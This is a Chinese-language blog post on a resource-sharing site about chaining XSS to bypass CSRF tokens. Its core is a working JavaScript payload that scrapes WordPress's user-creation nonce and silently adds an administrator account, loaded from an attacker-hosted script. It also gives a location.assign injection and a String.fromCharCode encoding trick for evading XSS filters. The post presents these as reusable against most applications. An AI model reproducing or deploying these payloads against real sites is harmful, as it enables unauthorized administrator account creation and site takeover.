利用XSS绕过CSRF防御


风晓
风晓 2023-12-28 11:32:50 63335 赞同 0 反对 0
分类: 资源
今天给大家分享利用XSS绕过CSRF防御

在验证目标网站应用的xss漏洞时,我一般不会选择弹框的方式。

我觉得最好的payloads是利用需要认证的功能,比如当管理员登录时就新建一个用户。

其他有用的payloads取决于应用本身,比如在购物应用中购买一个商品或者在拍卖应用中竞价。

这些攻击其实是一种有效的CSRF攻击。

现在很多应用都增加了CSRF token来防止CSRF攻击。

如果应用存在xss攻击,那么这种防护通常可以被绕过。

以下就是利用xss漏洞来绕过CSRF防御在WordPress中添加用户的例子。需要管理员执行才能生效。

//Use this to exploit XSS to compromise the application.
// just use the XSS payload of <script src=http://[MY_EVIL_SERVER]/add_admin.js>
//Host this file on your server
url = "http://[TARGET]/wp-admin/user-new.php";
var login = "";
var pass = "";
var email = "";
function httpGet(url)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
var all = httpGet(url);
var nonce = all.split("name=\"_wpnonce_create-user\" value=\"");
var nonce = nonce[1].slice(0, 10);
var http = new XMLHttpRequest();
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" + login + "&email=" + email + "&first_name=&last_name=&url=&pass1=" + pass + "&pass1-text=" + pass + "&pass2=" + pass + "&pw_weak=on&role=administrator&createuser=Add+New+User";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);

这段js代码的意思如下:

1.在目标中请求user-new.php页面

2.读取HTML并识别CSRF token“_wpnonce_create-user”

3.解析这个变量并保存为“nonce”

4.发送添加用户的post请求,在_wpnonce_create-user参数中提供刚才提取的nonce的值。

我已经使用这个payload在其他应用上执行过类似的攻击。

只要简单修改一下URL,POST参数和nonce位置,这个payload对大多数应用都行而有效。

还有一个问题我也偶尔遇到,在一个存在漏洞的参数中插入所有js代码。

但我发现经常受到长度,特殊字符和xss filter所限制。

为了把这段payload插入到目标应用中,我一般都会调用一个外部的js文件,调用语法很简单,如下:

<script src="http://www.[DOMAIN]/script.js"></script>

我曾经遇到一个应用,防御做的非常好,几乎过滤了所有的xss payload,但我还是成功的通过一个参数将payload插入到一个事件处理器中。

这个处理器使用location.assign来重定向用户,而且用户提供的参数值是通过URL传递的。要突破location.assign的限制,我们需要一个单引号和一个管道来执行额外的js函数。

请求如下:

GET /function?parameter=value'|alert(1)|'&Print=Yes

结果如下:

1    <body onLoad="window.print() ; location.assign('https://[DOMAIN].com/parameter?value='|alert(1)|'')">

在HTML环境中,这会执行alert payload。

为了绕过xss过滤器和不适用任何单引号和双引号,我选择使用document.write和字符编码的方式来写入script标签。

几行python代码就可以编写一个合适的payload:

>> payload = "<script src='https://www.n00py.io/evil.js'></script>"
>>> inject = 'document.write(String.fromCharCode('+",".join([str(ord(n)) for n in payload])+'))'
>>> inject
'document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))'

如果上述代码中”inject”的值转成了alert(1),那我们的payload就会干以下事情:

1.把charcode数据转换成字符串(<script src=’n00py.io/evil.js’></script>)

2.执行时把script标签写入到web页面中

3.script标签会加在外部js脚本并执行

4.外部js脚本会绕过成功绕过CSRF防护

通过使用String.fromCharCode函数,任何payload都可以写入到web页面中,不用担心黑名单对特殊字符的限制。保证你的恶意js脚本能通过https传输也很重要。如果你发现一个使用https协议的网站存在xss漏洞,你的payload要能够通过https来避免被屏蔽掉。

如果您发现该资源为电子书等存在侵权的资源或对该资源描述不正确等,可点击“私信”按钮向作者进行反馈;如作者无回复可进行平台仲裁,我们会在第一时间进行处理!

评价 0 条
风晓L1
粉丝 1 资源 2038 + 关注 私信
最近热门资源
麒麟系统版本介绍白皮书  509
MiSans 阿拉伯语字体文件  450
解决新版本麒麟系统中微信打开白屏显示  393
麒麟系统进行系统监控,查看进程的运行时间来优化性能  326
临时关闭swap分区与永久关闭swap分区(注意必须确保系统有足够内存运行!)  217
统信桌面专业版添加字体  210
统信uos单一程序黑屏,任务栏正常显示解决办法  209
统信uos快捷键文档  181
统信系统双无线网卡设置关闭开启单一网卡  145
分享一个磁盘恢复工具,适用于多平台(包括统信)  119
最近下载排行榜
麒麟系统版本介绍白皮书 0
MiSans 阿拉伯语字体文件 0
解决新版本麒麟系统中微信打开白屏显示 0
麒麟系统进行系统监控,查看进程的运行时间来优化性能 0
临时关闭swap分区与永久关闭swap分区(注意必须确保系统有足够内存运行!) 0
统信桌面专业版添加字体 0
统信uos单一程序黑屏,任务栏正常显示解决办法 0
统信uos快捷键文档 0
统信系统双无线网卡设置关闭开启单一网卡 0
分享一个磁盘恢复工具,适用于多平台(包括统信) 0
作者收入月榜
1

prtyaa 收益399.62元

2

zlj141319 收益236.11元

3

IT-feng 收益219.61元

4

1843880570 收益214.2元

5

风晓 收益208.24元

6

哆啦漫漫喵 收益204.5元

7

777 收益173.07元

8

Fhawking 收益106.6元

9

信创来了 收益106.03元

10

克里斯蒂亚诺诺 收益91.08元

请使用微信扫码

添加我为好友,拉您入交流群!

请使用微信扫一扫!